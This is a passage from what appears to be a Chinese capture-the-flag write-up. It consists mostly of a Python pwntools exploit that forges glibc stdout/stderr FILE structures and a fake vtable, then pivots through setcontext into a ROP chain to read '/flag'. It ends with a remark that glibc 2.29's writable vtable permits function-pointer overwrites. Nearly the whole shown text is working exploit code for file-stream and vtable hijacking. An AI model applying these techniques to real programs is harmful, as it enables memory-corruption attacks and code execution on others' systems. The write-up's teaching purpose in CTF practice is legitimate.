libc_base+(0x7ffff7e21a90-static_libc), libc_base+(0x7ffff7e230b0-static_libc), 0x0, libc_base+(0x7ffff7f37f3d-static_libc), libc_base+(0x7ffff7f37f3d-static_libc), libc_base+(0x7fffffffe878-static_libc), libc_base+(0x7fffffffe876-static_libc), 0, 0, 0, 1, 2, libc_base+(0x7ffff7f6f2d8-static_libc), 0, 0xffffffffffffffff, libc_base+(0x7ffff7f6a6e0-static_libc), libc_base+(0x7ffff7f3de48-static_libc), libc_base+(0x7ffff7f68580-static_libc), libc_base+(0x7ffff7f6c568-static_libc), libc_base+(0x7ffff7f68b40-static_libc), libc_base+(0x7ffff7f693c0-static_libc), libc_base+(0x7ffff7f68900-static_libc), libc_base+(0x7ffff7f68880-static_libc), 0, libc_base+(0x7ffff7f69080-static_libc), libc_base+(0x7ffff7f690e0-static_libc), libc_base+(0x7ffff7f69160-static_libc), libc_base+(0x7ffff7f69220-static_libc), libc_base+(0x7ffff7f692a0-static_libc), libc_base+(0x7ffff7f69300-static_libc), libc_base+(0x7ffff7f213e0-static_libc), libc_base+(0x7ffff7f204e0-static_libc), libc_base+(0x7ffff7f20ae0-static_libc), ]) part3 += p64(libc_base+(0x7ffff7f38678-libc_base))*13+p64(0)*3+p64(libc_base+(0x7ffff7f6c680-static_libc))+p64(0)*3 payload += part3 #fake stderr fake_stderr = p64(0xfbad2087)+p64(libc_base+(0x7ffff7f6c703-static_libc))*7+p64(libc_base+(0x7ffff7f6c704-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6c760-static_libc))+p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6e570-static_libc))+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6b780-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6c748-static_libc))+p64(0)+p64(libc_base+(0x7ffff7f6d560-static_libc)) payload += fake_stderr #fake stdout fake_stdout = p64(0)+p64(libc_base+(0x7ffff7f6c7e3-static_libc))*7+p64(libc_base+(0x7ffff7f6c7e4-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6ba00-static_libc))+p64(1)+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6e580-static_libc))+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6b8c0-static_libc))+p64(0)*3+p64(0xffffffff)+p64(libc_base+(0x7ffff7f6c828-static_libc))+p64(0)+p64(IO_helper_jumps) payload += fake_stdout part4 = p64(libc_base+(0x7ffff7f6c680-static_libc))+p64(libc_base+(0x7ffff7f6c760-static_libc))+p64(libc_base+(0x7ffff7f6ba00-static_libc)) part4 += flat([ libc_base+(0x7ffff7dade90-static_libc), libc_base+(0x7ffff7f1bdd0-static_libc), libc_base+(0x7ffff7f1d000-static_libc), libc_base+(0x7ffff7f1d030-static_libc), libc_base+(0x7ffff7f1d090-static_libc), libc_base+(0x7ffff7f1d2e0-static_libc), libc_base+(0x7ffff7f1d4e0-static_libc), libc_base+(0x7ffff7f1d5b0-static_libc), libc_base+(0x7ffff7f1d5f0-static_libc), libc_base+(0x7ffff7f1d650-static_libc), libc_base+(0x7ffff7e2e390-static_libc), libc_base+(0x7ffff7f1d770-static_libc), libc_base+(0x7ffff7f1d7b0-static_libc), libc_base+(0x7ffff7f1d810-static_libc), libc_base+(0x7ffff7f1d880-static_libc), libc_base+(0x7ffff7e9f2a0-static_libc), libc_base+(0x7ffff7f1d890-static_libc), libc_base+(0x7ffff7f1d940-static_libc), libc_base+(0x7ffff7f1d980-static_libc), libc_base+(0x7ffff7ec7150-static_libc), libc_base+(0x7ffff7f1da40-static_libc), libc_base+(0x7ffff7f6c900-static_libc), libc_base+(0x7ffff7f1dbb0-static_libc), libc_base+(0x7ffff7f1dc30-static_libc), libc_base+(0x7ffff7ed8890-static_libc), libc_base+(0x7ffff7f1dc50-static_libc), libc_base+(0x7ffff7f1dc80-static_libc), libc_base+(0x7ffff7f1dcb0-static_libc), libc_base+(0x7ffff7f1dce0-static_libc), libc_base+(0x7ffff7f1dd10-static_libc), libc_base+(0x7ffff7f1ddd0-static_libc), ]) part4 += p64(0)*2 payload += part4 rop_addr = libc_base + (0x7ffff7f6baf0-static_libc) fake_vatable = p64(0)*2 + flat([ libc_base+(0x7ffff7e18a70-static_libc), libc_base+(0x7ffff7dfb530-static_libc), libc_base+(0x7ffff7e18140-static_libc), libc_base+(0x7ffff7e18150-static_libc), libc_base+(0x7ffff7e197b0-static_libc), libc_base+(0x7ffff7e181b0-static_libc), libc_base+(0x7ffff7e183b0-static_libc), libc_base+(0x7ffff7e18ae0-static_libc), libc_base+(0x7ffff7e18800-static_libc), libc_base+(0x7ffff7e186d0-static_libc), libc_base+(0x7ffff7e18a60-static_libc), arg_list[0], 0, rop_addr-8, libc_base+(0x7ffff7e198f0-static_libc), 0, libc_base+(0x7ffff7e19900-static_libc), ]) part5 = p64(0)+p64(rop_addr)+p64(leave_ret)+'/flag'.ljust(0x20,'\x00')+p64(libc.sym['setcontext']+53) payload += fake_vatable + part5 p.recvuntil("2 : ") p.send(payload) p.interactive() exp()
从这道题目上可以看到glibc 2.29
虽然没有去掉vtable check
,但是vtable
可写导致可以覆写上面的函数指针,这或许会成为一些题目的新的出题思路。